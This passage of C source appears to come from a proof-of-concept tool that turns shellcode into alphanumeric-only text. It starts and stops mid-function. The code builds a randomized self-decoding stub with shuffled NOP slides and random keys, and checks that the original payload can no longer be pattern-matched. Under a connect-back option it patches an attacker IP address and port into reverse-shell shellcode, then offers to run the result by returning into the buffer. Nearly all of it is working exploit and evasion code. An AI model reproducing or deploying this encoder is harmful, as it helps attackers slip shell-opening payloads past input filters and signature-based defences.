    UCHAR *found_msg;                                 //                        
                                                   |   |
    UCHAR *p_decoder = decoder;                       //                        
                                                   |   |
    UCHAR xor1, xor2, key;                            //                        
                                                   |   |
    UCHAR temp_buf[3] = "";                           //                        
                                                   |   |
    UCHAR alnum_shellcode[MAX_ENCODED_SHELLCODE] = "";//                        
                                                   |   |
    UCHAR *p_alnum_shellcode = alnum_shellcode;       //                 todo: 
allow for the key to be either the first,           |   |
    struct xor2_key *p_xor2_key = 0;                  //                       
the second or the third byte (currently third).     |   |
    UCHAR *p_shellcode = shellcode;                   //                        
                                                   |   |
    void *_eip = 0;                                   //                        
                                                   |   |
                                                      //                        
                                                   |   |
    int offset_nop_slide1;                            //                        
                                                   |   |
    int offset_nop_slide2;                            //                        
                                                   |   |
    int offset_half_size_decoder;                     //                        
                                                   |   |
    int offset_terminating_key;                       //                        
                                                   |   |
    int offset_imul_instruction1;                     //                        
                                                   |   |
    int offset_imul_instruction2;                     //                        
                                                   |   |
    int offset_imul_instruction3;                     //                        
                                                   |   |
    int offset_imul_instruction4;                     //                        
                                                   |   |
    int negative_offset_size_decoder1;                //                        
                                                   |   |
    int negative_offset_size_decoder2;                //                        
                                                   |   |
    int negative_offset_size_decoder3;                //                        
                                                   |   |
    int offset_size_decoder_min_1;                    //                        
                                                   |   |
    int offset_size_decoder_pls_2;                    //                        
                                                   |   |
    int offset_imul_key_offset1;                      //                        
                                                   |   |
    int offset_imul_key_offset2;                      //                        
                                                   |   |
    int offset_imul_key_offset3;                      //                        
                                                   |   |
    int offset_imul_instruction;                      //                        
                                                   |   |
    int size_nop_slide1;                              //                        
                                                   |   |
    int size_nop_slide2;                              //                        
                                                   |   |
    int offset_jne_xor1;                              //                        
                                                   |   |
    int offset_jne_xor2;                              //                        
                                                   |   |
    int decoder_length_section1;                      //                        
                                                   |   |
    int decoder_length_section2;                      //                        
                                                   |   |
    int decoder_length_section3;                      //                        
                                                   |   |
    int imul_instruction_length;                      //                        
                                                   |   |
    int jne_xor_negative_offset;                      //                        
                                                   |   |
    int backward_slide_offset;                        //                        
                                                   |   |
    BOOL decoder_version_1;                           //                        
                                                   |   |
    UINT srand_value;                                 //                        
                                                   |   |
#ifdef CONNECT_BACK_SHELLCODE                         
/////////////////////////////////////////////                                |  
 |
    printf("scanning EncodedShellcode for shellcode up to OFFSET_IP_ADDRESS 
bytes\n");           //                                |   |
    found_msg = scan_str_known_pattern(EncodedShellcode, shellcode, 
OFFSET_IP_ADDRESS);          //                                |   |
    if (found_msg) printf("shellcode found encoded in EncodedShellcode using 
%s.\n", found_msg); //                                |   |
    else printf("shellcode not found encoded in 
EncodedShellcode.\n");/////////////////////////////                             
   |   |
#endif                                                //////////////////        
                                                   |   |
    printf("shellcode length:%d\n", size);            //                        
                                                   |   |
    srand_value = time(NULL);                         //                        
                                                   |   |
//  srand_value =           ;                         // for debugging          
                                                   |   |
    srand(srand_value);                               //                        
                                                   |   |
    printf("srand value=%d\n", srand_value);          //                        
                                                   |   |
    decoder_version_1 = rand() % 2;                   //                        
                                                   |   |
                                                      /////                     
                                                   |   |
    size_decoder                       = strlen(decoder);//                     
                                                   |   |
    decoder_length_section1            = 30; //////////////                     
                                                   |   |
    decoder_length_section2            = 29; //                                 
                                                   |   |
    decoder_length_section3            = 18; //                                 
                                                   |   |
                                             //                                 
                                                   |   |
    size_nop_slide1                    = 28; //                                 
                                                   |   |
    size_nop_slide2                    = 0;  //                                 
                                                   |   |
                                             //                                 
                                                   |   |
    imul_instruction_length            = 4;  //                                 
                                                   |   |
                                             //                                 
                                                   |   |
    shrink = (rand()%6)*2;                   
//////////////////////////////////////////////////// (can shrink up to 10 bytes 
      |   |
    
memmove(decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1-shrink,
    //  in 2 byte increments)           |   |
            
decoder+decoder_length_section1+decoder_length_section2+size_nop_slide1,        
   //                                  |   |
                      
imul_instruction_length+size_nop_slide2+decoder_length_section3+1);      //     
                             |   |
    size_decoder -=shrink;                
///////////////////////////////////////////////////////                         
         |   |
    half_size_decoder = size_decoder/2;   //                                    
                                                   |   |
    size_nop_slide1 -=shrink;             /////////////////////////             
                                                   |   |
    printf("shrinking decoder by: %d\n", shrink);                //             
                                                   |   |
                                                                 //             
                                                   |   |
    offset_imul_instruction            = decoder_length_section1+//             
                                                   |   |
                                         decoder_length_section2+//             
                                                   |   |
                                         size_nop_slide1;//////////             
                                                   |   |
                                                         //                     
                                                   |   |
    backward_slide_offset = rand() % 15;                 //    (selects a 
number from 0 to 14 in increments of 1)                  |   |
    strncpy(decoder,                                     //                     
                                                   |   |
            slide_substr_back(decoder,                   //                     
                                                   |   |
                              offset_imul_instruction,   //                     
                                                   |   |
                              imul_instruction_length,   //                     
                                                   |   |
                              size_decoder,           /////                     
                                                   |   |
                              backward_slide_offset), //                        
                                                   |   |
            size_decoder);                            //                        
                                                   |   |
    offset_imul_instruction -=backward_slide_offset;  //                        
                                                   |   |
    size_nop_slide1         -=backward_slide_offset;  //                        
                                                   |   |
    size_nop_slide2         +=backward_slide_offset;  //////////////            
                                                   |   |
    printf("backward_slide_offset = %d\n", backward_slide_offset);//            
                                                   |   |
                                                                  
///////////////////////////////////                              |   |
    negative_offset_size_decoder1      = 9;                                     
                   //                              |   |
    negative_offset_size_decoder2      = 12;                                    
                   //                              |   |
    negative_offset_size_decoder3      = 15;                                    
                   //                              |   |
                                                                                
                   //                              |   |
    offset_half_size_decoder           = 6;                                     
                   //                              |   |
    offset_terminating_key             = 8;                                     
                   //                              |   |
    offset_jne_xor1                    = 21;                                    
                   //                              |   |
    offset_size_decoder_min_1          = 24;                                    
                   //                              |   |
                                                                                
                   //                              |   |
    offset_imul_key_offset1            = 14 + decoder_length_section1;          
                   //                              |   |
    offset_imul_key_offset2            = 17 + decoder_length_section1;          
                   //                              |   |
    offset_size_decoder_pls_2          = 21 + decoder_length_section1;          
                   //                              |   |
    offset_imul_key_offset3            = 24 + decoder_length_section1;          
                   //                              |   |
                                                                                
                   //                              |   |
    offset_nop_slide1                   = decoder_length_section1+              
                   //                              |   |
                                         decoder_length_section2;               
                   //                              |   |
    offset_nop_slide2                   = decoder_length_section1+              
                   //                              |   |
                                         decoder_length_section2+               
                   //                              |   |
                                         size_nop_slide1+                       
                   //                              |   |
                                         imul_instruction_length;               
                   //                              |   |
                                                                                
                   //                              |   |
    offset_imul_instruction1           = offset_imul_instruction;               
                   //                              |   |
    offset_imul_instruction2           = offset_imul_instruction+1;             
                   //                              |   |
    offset_imul_instruction3           = offset_imul_instruction+2;             
                   //                              |   |
    offset_imul_instruction4           = offset_imul_instruction+3;             
                   //                              |   |
                                                                                
                   //                              |   |
                                                                                
                   //                              |   |
    offset_imul_key                    = offset_imul_instruction4;              
                   //                              |   |
                                                                                
                   //                              |   |
    offset_jne_xor2                    = size_decoder-1;                        
                   //                              |   |
    jne_xor_negative_offset            = decoder_length_section3+               
                   //                              |   |
                                         decoder_length_section2+               
                   //                              |   |
                                         size_nop_slide2+                       
                   //                              |   |
                                         imul_instruction_length+               
                   //                              |   |
                                         size_nop_slide1;                       
                   //                              |   |
                                                                                
                   //                              |   |
                                                                                
                   //                              |   |
    printf("size_decoder=0x%2X - %s\n",                                         
                   //                              |   |
        (UCHAR)size_decoder,                                                    
                   //////                          |   |
        is_alnum((UCHAR)size_decoder+(decoder_version_1?0:2))?"valid":"invalid 
- not alphanumeric!!!");//                          |   |
    *(decoder+offset_imul_instruction3)                 = 
size_decoder+(decoder_version_1?0:2);    //////                          |   |
                                                                                
                   //                              |   |
    printf("half_size_decoder=0x%2X - %s\n",                                    
                   //                              |   |
        (UCHAR)half_size_decoder,                                               
                   //                              |   |
        is_alnum((UCHAR)half_size_decoder)?"valid":"invalid - not 
alphanumeric!!!");               //                              |   |
    *(decoder+offset_half_size_decoder)                   = half_size_decoder;  
                   //                              |   |
                                                                                
                   //                              |   |
    printf("offset_imul_key=0x%2X - %s\n",                                      
                   //                              |   |
        (UCHAR)offset_imul_key,                                                 
                   //                              |   |
        is_alnum((UCHAR)offset_imul_key)?"valid":"invalid - not 
alphanumeric!!!");                 //                              |   |
    *(decoder+offset_imul_key_offset1)                    = offset_imul_key;    
                   //                              |   |
    *(decoder+offset_imul_key_offset2)                    = offset_imul_key;    
                   //                              |   |
    *(decoder+offset_imul_key_offset3)                    = offset_imul_key;    
                   //                              |   |
    //                                                                          
                   //                              |   |
    printf("size_decoder-1=0x%2X - %s\n",                                       
                   //                              |   |
        (UCHAR)size_decoder-1,                                                  
                   //                              |   |
        is_alnum((UCHAR)(size_decoder-1))?"valid":"invalid - not 
alphanumeric!!!");                //                              |   |
    *(decoder+offset_size_decoder_min_1)                  = size_decoder-1;     
                   //                              |   |
                                                                                
                   //                              |   |
    printf("size_decoder+2=0x%2X - %s\n",                                       
                   //                              |   |
        (UCHAR)size_decoder+2,                                                  
                   ////////                        |   |
        
is_alnum((UCHAR)(size_decoder+(decoder_version_1?2:0)))?"valid":"invalid - not 
alphanumeric!!!");//                        |   |
    *(decoder+offset_size_decoder_pls_2)                = 
size_decoder+(decoder_version_1?2:0);    ////////                        |   |
                                                                                
                   //                              |   |
    *(decoder+size_decoder-negative_offset_size_decoder1) = size_decoder;       
                   //                              |   |
    *(decoder+size_decoder-negative_offset_size_decoder2) = size_decoder;       
                   //                              |   |
    *(decoder+size_decoder-negative_offset_size_decoder3) = size_decoder;       
                   //////////////////////////////  |   |
                                                                                
                                               //  |   |
    *(decoder+offset_jne_xor1)                     = 
get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),//  | 
  |
                                                                                
             '\xFF',                           //  |   |
                                                                                
             0);                               //  |   |
    *(decoder+offset_jne_xor2)                     = 
get_two_xor_complemets_for_byte_and_xor((UCHAR)(-jne_xor_negative_offset),//  | 
  |
                                                                                
             '\xFF',                           //  |   |
                                                                                
             1);                               //  |   |
#ifdef CONNECT_BACK_SHELLCODE                                                   
                                               //  |   |
    ip_address                                     = 
ip_str_to_dw(IP_ADDRESS);///////////////////////////////////////////////////  | 
  |
    if (ip_address == -1)    
///////////////////////////////////////////////////                             
                      |   |
        exit(-1);            //                                                 
                                                   |   |
                             ///////////////////////////////////                
                                                   |   |
    //set shellcode with ip address and port for connect-back //                
                                                   |   |
    ///*                                                      //////////        
                                                   |   |
    *((DWORD *)(p_shellcode+OFFSET_IP_ADDRESS))           = 
ip_address;/////////////////                                           |   |
    *((DWORD *)(p_shellcode+OFFSET_TCP_PORT_NUMBER))      = 
my_htonl(TCP_PORT_NUMBER);//                                           |   |
    *(p_shellcode+OFFSET_TCP_PORT_NUMBER)                 = (UCHAR)2;           
      //                                           |   |
#endif                                        
//////////////////////////////////////////                                      
     |   |
    //*/                                      //                                
                                                   |   |
    //set decoder with 'random' nop slides    //                                
                                                   |   |
    strncpy(decoder+offset_nop_slide1,        ////////////////////////////      
                                                   |   |
            shuffle(get_nop_slide(size_nop_slide1, 1), size_nop_slide1),//      
                                                   |   |
            size_nop_slide1);                                           //      
                                                   |   |
    strncpy(decoder+offset_nop_slide2,                                  //      
                                                   |   |
            shuffle(get_nop_slide(size_nop_slide2, 2), size_nop_slide2),//      
                                                   |   |
            size_nop_slide2);              ///////////////////////////////      
                                                   |   |
                                           //                                   
                                                   |   |
    //set decoder with random initial key  
////////////////////////////////////////////                                    
        |   |
    *(decoder+offset_imul_key)                            = 
get_random_alnum_value();//                                            |   |
    printf("initial key=0x%2X - %s\n",                                          
     //////////////                                |   |
           (UCHAR)*(decoder+offset_imul_key),                                   
                 //                                |   |
           is_alnum((UCHAR)*(decoder+offset_imul_key))?"valid":"invalid - not 
alphanumeric!!!"); //                                |   |
                                                                                
                 //                                |   |
                                                                                
     //////////////                                |   |
                                                                                
     //                                            |   |
    //set decoder with 'random' dword pushes for registers we won't use         
     ////////////////                              |   |
    *(decoder+OFFSET_PUSH_DWORD1)                         = 
get_random_alnum_push_dword_opcode();  //                              |   |
    printf("push dword1=0x%2X - %s\n",                                          
                   //                              |   |
           (UCHAR)*(decoder+OFFSET_PUSH_DWORD1),                                
                   //                              |   |
           is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD1))?"valid":"invalid - 
not alphanumeric!!!");//                              |   |
    *(decoder+OFFSET_PUSH_DWORD2)                         = 
get_random_alnum_push_dword_opcode();  //                              |   |
    printf("push dword2=0x%2X - %s\n",                                          
                   //                              |   |
           (UCHAR)*(decoder+OFFSET_PUSH_DWORD2),                                
                   //                              |   |
           is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD2))?"valid":"invalid - 
not alphanumeric!!!");//                              |   |
    *(decoder+OFFSET_PUSH_DWORD3)                         = 
get_random_alnum_push_dword_opcode();  //                              |   |
    printf("push dword3=0x%2X - %s\n",                                          
                   //                              |   |
           (UCHAR)*(decoder+OFFSET_PUSH_DWORD3),                                
                   //                              |   |
           is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD3))?"valid":"invalid - 
not alphanumeric!!!");//                              |   |
    *(decoder+OFFSET_PUSH_DWORD4)                         = 
get_random_alnum_push_dword_opcode();  //                              |   |
    printf("push dword4=0x%2X - %s\n",                                          
                   //                              |   |
           (UCHAR)*(decoder+OFFSET_PUSH_DWORD4),                                
                   //                              |   |
           is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD4))?"valid":"invalid - 
not alphanumeric!!!");//                              |   |
                                                                                
                   //                              |   |
    memcpy(decoder+OFFSET_RANDOMIZED_DECODER_HEAD,                              
               //////                              |   |
           randomize_decoder_head(decoder, size_decoder, xor_al1, 
*(decoder+offset_jne_xor1)), // <---here-------------------------|---'
           SIZE_RANDOMIZED_DECODER_HEAD);                                       
               //////                              |
    //set first xor1 to random alnum value (this is the first byte of the 
encoded data)            //                              |
    xor1                                                  = 
get_random_alnum_value();              //                              |
    printf("xor1=0x%2X - %s\n",                                                 
                   //                              |
           (UCHAR)xor1,                                                         
                   //                              |
           is_alnum((UCHAR)xor1)?"valid":"invalid - not alphanumeric!!!");      
                   //                              |
                                            
/////////////////////////////////////////////////////////                       
       |
RE_RUN:                                     //                                  
                                                   |
    sprintf(alnum_shellcode, "%s",decoder); //                                  
                                                   |
    memset(temp_buf, 0, 3);///////////////////                                  
                                                   |
    for(i=0; i<size; i++)  //                                                   
                                                   |
    {   
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
      |
        // each original byte is encoded into 3 alphanumeric bytes where 
first_byte*third_byte^second_byte==original_byte  //      |
        // third_byte is the next encoded original byte's first_byte            
                                           //      |
        // the first byte of the terminating key is the last byte's third_byte  
                                           /////// |
        p_xor2_key=get_xor2_and_key_for_xor1_and_c(xor1, shellcode[i]);//get a 
list of second_byte and third_byte for first_byte// |
        if(!p_xor2_key)                                                         
                                           /////// |
            goto RE_RUN;                                                        
                                           //      |
        p_xor2_key = choose_random_node(p_xor2_key);//choose a random 
combination////////////////////////////////////////////      |
        key=p_xor2_key->key;                                           //       
                                                   |
        xor2=p_xor2_key->xor2;                                         //       
                                                   |
        temp_buf[0] = xor1;                                            //       
                                                   |
        temp_buf[1] = xor2;                                            //       
                                                   |
        strcat(alnum_shellcode, temp_buf); // append it to our decoder //       
                                                   |
        xor1=key;                                                      //       
                                                   |
        free_p_xor2_key(p_xor2_key); // free the list                  //       
                                                   |
    } //get next original_byte                                         //       
                                                   |
                                                                       
////////////////////////                                    |
    if (terminating_key_exist(alnum_shellcode+sizeof(decoder), 
str_end_of_encoded_shellcode))//                                    |
    {                                                                           
             //                                    |
        printf("error - terminating key found in encoded shellcode. running 
again to fix\n");//                                    |
        goto RE_RUN;//                                                          
             //                                    |
    }                                                                           
             //////////////////////////////////////|
    *(UCHAR*)(alnum_shellcode+8)  = key; // set the last key of the encoded 
data to be the first byte of the terminating string  //|
    *(UCHAR*)(alnum_shellcode+9)  = get_random_alnum_value(); // choose 3 
random alnum bytes for the rest of the terminating string|
    *(UCHAR*)(alnum_shellcode+10) = get_random_alnum_value(); // choose 3 
random alnum bytes for the rest of the terminating string|
    *(UCHAR*)(alnum_shellcode+11) = get_random_alnum_value(); // choose 3 
random alnum bytes for the rest of the terminating string|
    strncat(alnum_shellcode,                                  // append the 
terminating string to the decoder+encoded shellcode  //|
            (UCHAR*)(alnum_shellcode+offset_terminating_key),                   
                                                 //|
            4);                                                                 
                                                 //|
    printf("encoded shellcode length: %d\n", 
strlen(alnum_shellcode)-size_decoder);                                          
    //|
    printf("decoder length: %d\n%s\n",                                          
             //////////////////////////////////////|
        size_decoder,                                                           
             //                                    |
        alnum_shellcode);                                                       
          /////                                    |
                                                                                
          //                                       |
    printf("scanning alnum_shellcode for shellcode up to size bytes\n");        
          //                                       |
    found_msg = scan_str_known_pattern(alnum_shellcode, shellcode, size);       
          /////////                                |
    if (found_msg) printf("shellcode found encoded in alnum_shellcode using 
%s.\n", found_msg);  //                                |
    else printf("shellcode not found encoded in alnum_shellcode.\n");   
///////////////////////////                                |
                                                                        //      
                                                   |
    if (str_is_alnum(alnum_shellcode))                                  //      
                                                   |
    {                                                                   //      
                                                   |
        printf("execute shellcode locally? (hit: y and press enter): ");//      
                                                   |
        if(tolower(getchar()) == 'y')                                   //      
                                                   |
        {                                                    /////////////      
                                                   |
            _asm                                             //                 
                                                   |
            {                                                //                 
                                                   |
                //set return address to head of decoder      //                 
                                                   |
                push p_alnum_shellcode;                      //                 
                                                   |
                //set ecx to head of decoder            ///////                 
                                                   |
                push p_alnum_shellcode;                 //                      
                                                   |
                pop REGISTER_WITH_ADDRESS_OF_SHELLCODE; // 
<-----------------------------------------------------------------------'
                //return to head of decoder             //
                ret;                       ///////////////
            }                              //             
        }                                  //             
    }                                      //              
    else                                   //              
    {                                      ///////////////
        printf("error non-alphanumeric shellcode\n");   //
    }                       //////////////////////////////
                     /////////                             
                     //
    return 0;    //////                                       
}                //                                       
///////////////////                                          

BOOL arg1_imul_arg2_xor_arg3(UCHAR *alnum_str,
                             UCHAR *known_pattern,
                             UINT known_pattern_length,
                             UINT offset1,
                             UINT offset2,
                             UINT offset3)
{
    UINT offset,
         i,
         found;
        
    for (i=found=offset=0; i<known_pattern_length; i++)
    {
        while(*(alnum_str+offset))
        {
            
if((UCHAR)((alnum_str[offset+offset1]*alnum_str[offset+offset2])^alnum_str[offset+offset3])==
               (UCHAR)known_pattern[i])
            {
                offset+=2;
                found++;
                break;
            }
            else 
if((UCHAR)((alnum_str[offset+offset1+1]*alnum_str[offset+offset2+1])^alnum_str[offset+offset3+1])==
                    (UCHAR)known_pattern[i])
            {
                offset+=3;
                found++;
                break;
            }
            else
            {
                found=0;
                i=0;
                offset++;
            }
        }
    }
    if(found == known_pattern_length)
        return 1;
    else
        return 0;
}
BOOL arg1_xor_arg2_imul_arg3(UCHAR *alnum_str,
                             UCHAR *known_pattern,
                             UINT known_pattern_length,
                             UINT offset1,
                             UINT offset2,
                             UINT offset3)
{
    UINT offset,
         i,
         found;
        
    for (i=found=offset=0; i<known_pattern_length; i++)
    {
        while(*(alnum_str+offset))
        {
            
if((UCHAR)((alnum_str[offset+offset1]^alnum_str[offset+offset2])*alnum_str[offset+offset3])==
               (UCHAR)known_pattern[i])
            {
                offset+=2;
                found++;
                break;
            }
            else 
if((UCHAR)((alnum_str[offset+offset1+1]^alnum_str[offset+offset2+1])*alnum_str[offset+offset3+1])==
                    (UCHAR)known_pattern[i])
            {
                offset+=3;
                found++;
                break;
            }
            else
            {
                found=0;
                i=0;
                offset++;
            }
        }
    }
    if(found == known_pattern_length)
        return 1;
    else
        return 0;
}
BOOL arg1_imul_key_xor_arg2(UCHAR *alnum_str,
                             UCHAR *known_pattern,
                             UINT known_pattern_length,
                             UCHAR key,
                             UINT offset1,
                             UINT offset2)
{
    UINT offset,
         i,
         found;
        
    for (i=found=offset=0; i<known_pattern_length; i++)
    {
        while(*(alnum_str+offset))
        {
            
if((UCHAR)((alnum_str[offset+offset1]*key)^alnum_str[offset+offset2])==
               (UCHAR)known_pattern[i])
            {
                offset+=2;
                found++;
                break;
            }
            else 
if((UCHAR)((alnum_str[offset+offset1+1]*key)^alnum_str[offset+offset2+1])==
                    (UCHAR)known_pattern[i])
            {
                offset+=3;
                found++;
                break;
            }
            else
            {
                found=0;
                i=0;
                offset++;
            }
        }
    }
    if(found == known_pattern_length)
        return 1;
    else
        return 0;
}

UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT 
known_pattern_length)
{
    UCHAR *alnum = malloc(strlen(ALNUM_CHARSET)+1);
    UCHAR *temp_buf = malloc(255);
    strncpy(alnum, ALNUM_CHARSET, strlen(ALNUM_CHARSET));
    alnum[strlen(ALNUM_CHARSET)]=0;
    memset(temp_buf, 0, 255);
    //this is not for production, just a poc...
    while(*alnum) {
        if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, 
known_pattern_length, *alnum++, 0, 1))
        {
            alnum--;
            strcat(temp_buf, "(buf[0]*'");
            temp_buf[strlen(temp_buf)] = *alnum;
            strcat(temp_buf, "')^buf[1]");
            return(temp_buf);
        }
    }
    alnum-=strlen(ALNUM_CHARSET);
    while(*alnum) {
        if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, 
known_pattern_length, *alnum++, 1, 0))
        {
            alnum--;
            printf("key = 0x%2X ('%c')\n", *alnum, *alnum);
            return("found pattern using: (buf[1]*key)^buf[0]\n");
        }
    }
    if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 
0x30, 0, 1))
        return("(buf[0]*0x30)^buf[1]");
    else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, 
known_pattern_length, 0x30, 1, 0))
        return("(buf[1]*0x30)^buf[0]");
    else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, 
known_pattern_length, 0x10, 0, 1))
        return("(buf[0]*0x10)^buf[1]");
    else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, 
known_pattern_length, 0x10, 1, 0))
        return("(buf[1]*0x10)^buf[0]");
    else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, 
known_pattern_length, 0, 1, 2))
        return("(buf[0]*buf[1])^buf[2]");
    else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, 
known_pattern_length, 0, 2, 1))
        return("(buf[0]*buf[2])^buf[1]");
    else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, 
known_pattern_length, 1, 2, 0))
        return("(buf[1]*buf[2])^buf[0]");
    else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, 
known_pattern_length, 0, 1, 2))
        return("(buf[0]^buf[1])*buf[2]");
    else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, 
known_pattern_length, 0, 2, 1))
        return("(buf[0]^buf[2])*buf[1]");
    else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, 
known_pattern_length, 1, 2, 0))
        return("(buf[1]^buf[2])*buf[0]");
    else
        return "";
}

BOOL is_alnum(UCHAR c)
{
    char *alnum = ALNUM_CHARSET;
    char search_c[2] = "";
    search_c[0] = c;
    return((BOOL)strstr(alnum, search_c));
}

BOOL str_is_alnum(UCHAR *str)
{
    ULONG length;
    length = strlen(str);
    for(;length>0;length--) {
        if(
            !is_alnum(str[length-1])
        )
            return 0;
    }
    return 1;
}

UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index)
{
    int xor_complement_1, xor_complement_2;
    UCHAR two_xor_complements[3];

    for(xor_complement_1=0; xor_complement_1<MAX_BYTES; xor_complement_1++)
    {
        if (is_alnum((UCHAR)xor_complement_1))
        {
            for(xor_complement_2=0; xor_complement_2<MAX_BYTES; 
xor_complement_2++)
            {
                if (is_alnum((UCHAR)xor_complement_2))
                {
                    if(byte == (xor ^ xor_complement_1 ^ xor_complement_2))
                    {
                        two_xor_complements[0] = (UCHAR)xor_complement_1;
                        two_xor_complements[1] = (UCHAR)xor_complement_2;
                    }
                }
            }
        }
    }
    if(index == 0 || index == 1)
        return two_xor_complements[index];
    else
        return (UCHAR)0;
}

BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key)
{
    return (BOOL) strstr(alnum_shellcode, terminating_key);
}

DWORD ip_str_to_dw(UCHAR *str)
{
    DWORD x[4];
    int dwIpAddress;

    if (!str || MAX_IP_STR_LEN < strlen(str) || strlen(str) < MIN_IP_STR_LEN)
        return -1;
    
    sscanf(str, "%d.%d.%d.%d", &x[0],&x[1],&x[2],&x[3]);

    x[3] = x[3] > 255 ? -1 : (x[3] <<= 24);
    x[2] = x[2] > 255 ? -1 : (x[2] <<= 16);
    x[1] = x[1] > 255 ? -1 : (x[1] <<= 8);
    x[0] = x[0] > 255 ? -1 : (x[0] <<= 0);
    dwIpAddress = x[0]+x[1]+x[2]+x[3];


    return dwIpAddress;
}

DWORD my_htonl(DWORD dw_in)
{
    DWORD dw_out;

    *((UCHAR *)&dw_out+3) = *((UCHAR *)&dw_in+0);
    *((UCHAR *)&dw_out+2) = *((UCHAR *)&dw_in+1);
    *((UCHAR *)&dw_out+1) = *((UCHAR *)&dw_in+2);
    *((UCHAR *)&dw_out+0) = *((UCHAR *)&dw_in+3);

    return dw_out;
}

void free_p_xor2_key(struct xor2_key *node)
{
    struct xor2_key *temp = 0;

    if(node)
    {
        temp = node->prev;
        while(node->next)
        {
            node=node->next;
            free(node->prev);
        }
        free(node);
    }
    if(temp)
    {
        while(temp->prev)
        {
            temp=temp->prev;
            free(temp->next);
        }
        free(temp);
    }
}

struct xor2_key *choose_random_node(struct xor2_key *head)
{
    int num_nodes = 1, selected_node, i;
    struct xor2_key* tail = head;
    
    struct xor2_key* pn = NULL ;

    if (!head || !head->key)
        return 0;

    while(tail->next)
    {
        tail = tail->next;
        num_nodes++;
    }

    selected_node = rand()%num_nodes;

    for(i=0; i<selected_node; i++)
        head = head->next;

    return head;
}

struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c)
{
    struct xor2_key *p_xor2_key, *p_xor2_key_head;
    char *alnum = ALNUM_CHARSET;
    UINT    i=0,
            z=1,
            r=0,
            count=0;
    UCHAR   xor2=0,
            x=0;

    p_xor2_key_head = p_xor2_key = malloc(sizeof(xor2_key));
    p_xor2_key->prev   = 0;
    p_xor2_key->next   = 0;
    p_xor2_key->key    = 0;
    p_xor2_key->xor2   = 0;

    for(i=0; alnum[i]; i++)
    {
        for(x=0; alnum[x];x++)
        {
            xor2 = alnum[x];
            if (((UCHAR)(xor1 * alnum[i]) ^ xor2) == c)
            {
                p_xor2_key->xor2 = xor2;
                p_xor2_key->key  = alnum[i];
                p_xor2_key->next = malloc(sizeof(struct xor2_key));
                p_xor2_key->next->prev = p_xor2_key;
                p_xor2_key = p_xor2_key->next;
                p_xor2_key->key=0;
                p_xor2_key->xor2=0;
            }
        }
    }

    if(!p_xor2_key->key)
        p_xor2_key->next = 0;
    if (p_xor2_key->prev)
        p_xor2_key = p_xor2_key->prev;
    else
        return 0;
    free(p_xor2_key->next);
    p_xor2_key->next=0;
    return p_xor2_key_head;
}

UCHAR *shuffle(UCHAR str[], UINT length) //length does not include terminating 
null.
{
    UINT last, randomNum;
    UCHAR temporary;
    UCHAR *output = malloc(length);
    memcpy(output, str, length);
    for (last = length; last > 1; last--)
    {
       randomNum = rand( ) % last;
       temporary = output[randomNum];
       output[randomNum] = output[last-1];
       output[last-1] = temporary;
    }
    memcpy(str, output, length);
    return output;
}// taken from: http://www.warebizprogramming.com/text/cpp/section6/part8.htm


UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT 
str_len, UINT slide)
{
    UCHAR *prefix_substr,
        *substr,
        *suffix_substr,
        *output_str;
    UINT prefix_substr_len,
        suffix_substr_len;


    if(slide > substr_offset) {
        printf("you can't slide it that far back!\n");
        return 0;
    }

    output_str = malloc(str_len);
    memset(output_str, 0 , str_len);

    suffix_substr_len = str_len-substr_len-substr_offset;
    suffix_substr = malloc(suffix_substr_len);
    memset(suffix_substr, 0, suffix_substr_len);

    prefix_substr_len = substr_offset;
    prefix_substr = malloc(prefix_substr_len);
    memset(prefix_substr, 0, prefix_substr_len);
    
    substr = malloc(substr_len);
    memset(substr, 0, substr_len);

    strncpy(substr, str+substr_offset, substr_len);
    strncpy(prefix_substr, str, prefix_substr_len);
    strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);

    strncpy(output_str, prefix_substr, prefix_substr_len-slide);
    strncpy(output_str+prefix_substr_len-slide, substr, substr_len);
    strncpy(output_str+prefix_substr_len-slide+substr_len, 
str+substr_offset-slide, slide);
    strncpy(output_str+prefix_substr_len-slide+substr_len+slide, 
str+substr_offset+substr_len, suffix_substr_len);


    free(prefix_substr);
    free(suffix_substr);
    free(substr);
    return output_str;
}

UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, 
UINT str_len, UINT slide)
{
    UCHAR *prefix_substr,
        *substr,
        *suffix_substr,
        *output_str;
    UINT prefix_substr_len,
        suffix_substr_len;


    if(slide > str_len-substr_len-substr_offset) {
        printf("you can't slide it that far forward!\n");
        return 0;
    }

    output_str = malloc(str_len);
    memset(output_str, 0 , str_len);

    suffix_substr_len = str_len-substr_len-substr_offset;
    suffix_substr = malloc(suffix_substr_len);
    memset(suffix_substr, 0, suffix_substr_len);

    prefix_substr_len = substr_offset;
    prefix_substr = malloc(prefix_substr_len);
    memset(prefix_substr, 0, prefix_substr_len);
    
    substr = malloc(substr_len);
    memset(substr, 0, substr_len);

    strncpy(substr, str+substr_offset, substr_len);
    strncpy(prefix_substr, str, prefix_substr_len);
    strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);

    strncpy(output_str, prefix_substr, prefix_substr_len);
